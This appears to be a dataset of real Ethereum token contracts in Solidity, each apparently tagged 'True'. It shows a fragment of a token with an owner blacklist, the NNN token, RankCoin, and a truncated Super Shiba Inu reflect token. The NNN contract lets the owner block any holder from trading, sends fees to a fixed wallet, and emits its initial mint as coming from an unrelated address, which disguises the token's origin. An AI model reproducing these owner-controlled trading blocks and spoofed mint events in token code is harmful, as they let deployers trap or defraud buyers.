path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
dev,
block.timestamp
);
}
function _setBlacklist(address account, bool value) internal {
isBlacklisted[account] = value;
}
receive() external payable {}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-17
*/
// SPDX-License-Identifier: Unlicensed
/*
ooooo ooo ooooo ooo ooooo ooo
`888b. `8' `888b. `8' `888b. `8'
8 `88b. 8 8 `88b. 8 8 `88b. 8
8 `88b. 8 8 `88b. 8 8 `88b. 8
8 `88b.8 8 `88b.8 8 `88b.8
8 `888 8 `888 8 `888
o8o `8 o8o `8 o8o `8
No Nut November is an internet challenge revolving around abstinence, in which participants abstain from masturbation and orgasming during the month of November
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NNN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "NO NUT NOVEMBER";
string private constant _symbol = "NNN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x3BFf301bafd91AA5813Ec2A1A2B25a3689d6C4B5);
_feeAddrWallet2 = payable(0x3BFf301bafd91AA5813Ec2A1A2B25a3689d6C4B5);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xbd15A7a355cC174923e394036164Dfbcc03C011D), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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] |
pragma solidity ^0.4.24;
interface ERC20 {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function name() external view returns (string);
function symbol() external view returns (string);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external payable returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external payable returns (bool success);
function approve(address _spender, uint256 _value) external payable returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
}
interface ERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
/// @return `true` if the contract implements `interfaceID` and
/// `interfaceID` is not 0xffffffff, `false` otherwise
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
// 숫자 계산 시 오버플로우 문제를 방지하기 위한 라이브러리
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function sub(uint256 a, uint256 b) pure internal returns (uint256 c) {
assert(b <= a);
return a - b;
}
function mul(uint256 a, uint256 b) pure internal returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) pure internal returns (uint256 c) {
return a / b;
}
}
contract RankCoin is ERC20, ERC165 {
using SafeMath for uint256;
event ChangeName(address indexed user, string name);
event ChangeMessage(address indexed user, string message);
// 토큰 정보
string constant public NAME = "RankCoin";
string constant public SYMBOL = "RC";
uint8 constant public DECIMALS = 18;
uint256 constant public TOTAL_SUPPLY = 100000000000 * (10 ** uint256(DECIMALS));
address public author;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
// 사용자들 주소
address[] public users;
mapping(address => string) public names;
mapping(address => string) public messages;
function getUserCount() view public returns (uint256) {
return users.length;
}
// 유저가 이미 존재하는지
mapping(address => bool) internal userToIsExisted;
constructor() public {
author = msg.sender;
balances[author] = TOTAL_SUPPLY;
emit Transfer(0x0, author, TOTAL_SUPPLY);
}
// 주소를 잘못 사용하는 것인지 체크
function checkAddressMisused(address target) internal view returns (bool) {
return
target == address(0) ||
target == address(this);
}
//ERC20: 토큰의 이름 반환
function name() external view returns (string) {
return NAME;
}
//ERC20: 토큰의 심볼 반환
function symbol() external view returns (string) {
return SYMBOL;
}
//ERC20: 토큰의 소수점 반환
function decimals() external view returns (uint8) {
return DECIMALS;
}
//ERC20: 전체 토큰 수 반환
function totalSupply() external view returns (uint256) {
return TOTAL_SUPPLY;
}
//ERC20: 특정 유저의 토큰 수를 반환합니다.
function balanceOf(address user) external view returns (uint256 balance) {
return balances[user];
}
//ERC20: 특정 유저에게 토큰을 전송합니다.
function transfer(address to, uint256 amount) external payable returns (bool success) {
// 주소 오용 차단
require(checkAddressMisused(to) != true);
require(amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(amount);
balances[to] = balances[to].add(amount);
// 유저 주소 등록
if (to != author && userToIsExisted[to] != true) {
users.push(to);
userToIsExisted[to] = true;
}
emit Transfer(msg.sender, to, amount);
return true;
}
//ERC20: spender에 amount만큼의 토큰을 보낼 권리를 부여합니다.
function approve(address spender, uint256 amount) external payable returns (bool success) {
allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
//ERC20: spender에 인출을 허락한 토큰의 양을 반환합니다.
function allowance(address user, address spender) external view returns (uint256 remaining) {
return allowed[user][spender];
}
//ERC20: 허락된 spender가 from으로부터 amount만큼의 토큰을 to에게 전송합니다.
function transferFrom(address from, address to, uint256 amount) external payable returns (bool success) {
// 주소 오용 차단
require(checkAddressMisused(to) != true);
require(amount <= balances[from]);
require(amount <= allowed[from][msg.sender]);
balances[from] = balances[from].sub(amount);
balances[to] = balances[to].add(amount);
// 유저 주소 등록
if (to != author && userToIsExisted[to] != true) {
users.push(to);
userToIsExisted[to] = true;
}
allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount);
emit Transfer(from, to, amount);
return true;
}
// 토큰을 많이 가진 순서대로 유저 목록을 가져옵니다.
function getUsersByBalance() view public returns (address[]) {
address[] memory _users = new address[](users.length);
for (uint256 i = 0; i < users.length; i += 1) {
uint256 balance = balances[users[i]];
for (uint256 j = i; j > 0; j -= 1) {
if (balances[_users[j - 1]] < balance) {
_users[j] = _users[j - 1];
} else {
break;
}
}
_users[j] = users[i];
}
return _users;
}
// 특정 유저의 랭킹을 가져옵니다.
function getRank(address user) view public returns (uint256) {
uint256 rank = 1;
uint256 balance = balances[user];
for (uint256 i = 0; i < users.length; i += 1) {
if (balances[users[i]] > balance) {
rank += 1;
}
}
return rank;
}
// 이름을 지정합니다.
function setName(string _name) public {
names[msg.sender] = _name;
emit ChangeName(msg.sender, _name);
}
// 메시지를 지정합니다.
function setMessage(string message) public {
messages[msg.sender] = message;
emit ChangeMessage(msg.sender, message);
}
//ERC165: 주어진 인터페이스가 구현되어 있는지 확인합니다.
function supportsInterface(bytes4 interfaceID) external view returns (bool) {
return
// ERC165
interfaceID == this.supportsInterface.selector ||
// ERC20
interfaceID == 0x942e8b22 ||
interfaceID == 0x36372b07;
}
} | True | [
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// File: openzeppelin-solidity\contracts\GSN\Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity\contracts\token\ERC20\IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity\contracts\math\SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: openzeppelin-solidity\contracts\utils\Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: openzeppelin-solidity\contracts\access\Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts\REFLECT.sol
/*
* Copyright 2020 reflect.finance. ALL RIGHTS RESERVED.
*/
pragma solidity ^0.6.2;
contract SuperShibaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Super Shiba Inu';
string private _symbol = 'spSHIB';
uint8 private _decimals = 9;
uint256 public maxTxAmount = _rTotal;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
